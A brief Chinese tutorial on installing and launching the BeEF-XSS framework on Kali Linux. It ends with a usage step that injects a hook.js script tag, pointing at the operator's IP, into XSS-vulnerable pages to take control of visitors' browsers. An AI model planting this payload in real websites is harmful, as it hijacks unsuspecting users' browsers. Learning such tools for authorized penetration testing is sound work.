beef-xss

kali工具在root用户下先更新避免安装失败

apt-get  update

安装

apt-get  install  beef-xss

启动

beef-xss

首次启动要输入设置密码，此密码为管理界面的密码。

管理界面

http://127.0.0.1:3000/ui/panel

使用：打开管理界面后将<script  src="http://<IP>:3000/hook.js"></script>放到有xss漏洞的地方，在管理界面可以控制对方浏览器。<IP>为同一局域网内本机IP，不同网段可为服务器IP，当然相关操作也要在服务器上进行。